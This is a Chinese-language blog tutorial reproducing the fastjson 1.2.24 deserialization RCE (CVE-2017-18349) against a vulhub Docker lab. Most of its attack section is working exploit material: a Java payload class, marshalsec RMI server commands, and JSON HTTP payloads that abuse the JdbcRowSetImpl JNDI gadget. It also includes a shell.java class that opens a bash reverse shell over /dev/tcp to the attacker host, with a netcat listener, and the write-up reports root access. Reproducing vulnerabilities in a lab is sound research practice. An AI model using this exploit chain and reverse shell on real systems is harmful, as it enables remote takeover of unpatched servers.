fastjson 1.2.24 反序列化 RCE 漏洞复现

fastjson 1.2.24 反序列化 RCE 漏洞复现,第1张

文章目录
  • fastjson 1.2.24 反序列化 RCE 漏洞复现(CVE-2017-18349)
    • 前置环境
    • 漏洞环境搭建
    • 漏洞复现
    • 获取webshell

fastjson 1.2.24 反序列化 RCE 漏洞复现(CVE-2017-18349)

fastjson 1.2.24 反序列化导致任意命令执行漏洞

前置环境
  1. kali虚拟机,安装好docker,docker-compose
  2. 宿主机,安装配置好java,python环境
  3. 虚拟机用NAT网卡模式,可以与宿主机互相通信(可以ping通)
漏洞环境搭建
  1. 在kali虚拟机中,利用vulhub的docker镜像快速搭建。
  2. 下载 git clone https://github.com/vulhub/vulhub或者直接下载zip文件
  3. 进入vulhub文件目录, 再cd fastjson/1.2.24-rce
  4. 启动docker镜像,sudo docker-compose up -d,启动好输入sudo docker ps,看是否成功启动
  5. 安装好后,输入ifconfig指令,查看虚拟机ip,此时在宿主机访问http://虚拟机ip:8090,可以看到json格式输出

漏洞复现

都是在宿主机(攻击机)进行 *** 作。

  1. 使用com.sun.rowset.JdbcRowSetImpl的利用链,通过 JNDI 注入来执行命令
  2. 先编译上传命令执行代码,新建 TouchFile.java
// TouchFile.java
// cmd run javac TouchFile.java 
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
// do nothing
        }
    }
}
  1. 打开终端cmd执行javac TouchFile.java编译,此时生成TouchFile.class文件

  2. 利用python快速启动临时web服务(ps.省事),python -m http.server 8888

  3. 利用marshalsec工具(需要maven环境编译),或者直接下载marshalsec-0.0.3-SNAPSHOT-all.jar 链接: https://pan.baidu.com/s/1pDaDDKWD1VmTAmlnQMB-6Q?pwd=rv7u 提取码: rv7u

  4. 通过java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://宿主机ip:8888/#TouchFile 2335启动RMI服务器,监听2335 端口,并指定加载远程类 TouchFile.class

  5. 利用burpsuite向kali虚拟机靶场发送payload,带上RMI地址,可以看到上图的RMI服务已经发送了TouchFile

POST / HTTP/1.1
Host: 192.168.132.128:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.31.41:2335/TouchFile",
        "autoCommit":true
    }
}

  1. 进入虚拟机,sudo docker ps查看容器id,执行sudo docker exec -it a08916637ab9 bash进入容器,执行ls /tmp,查看到,我们成功创建了success文件
获取webshell
  1. 道理同上,创建shell.java,并执行javac shell.java进行编译
import java.lang.Runtime;
import java.lang.Process;
public class shell{
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","exec 5<>/dev/tcp/宿主机ip/19527;cat <&5 | while read line; do $line 2>&5 >&5; done"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}
  1. 将marshalsec指定文件改成shell
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://宿主机ip:8888/#shell 2335
  2. 下载一个netcat,https://eternallybored.org/misc/netcat/,在本地监听19527端口。.\nc.exe -lvvp 19527
  3. 利用BurpSuite发送payload
POST / HTTP/1.1
Host: 192.168.132.128:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 163
 

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.31.41:2335/shell",
        "autoCommit":true
    }
}

  1. 成功获得root权限,执行whoami

欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/langs/727626.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-04-26
下一篇 2022-04-26

发表评论

登录后才能评论

评论列表(0条)

保存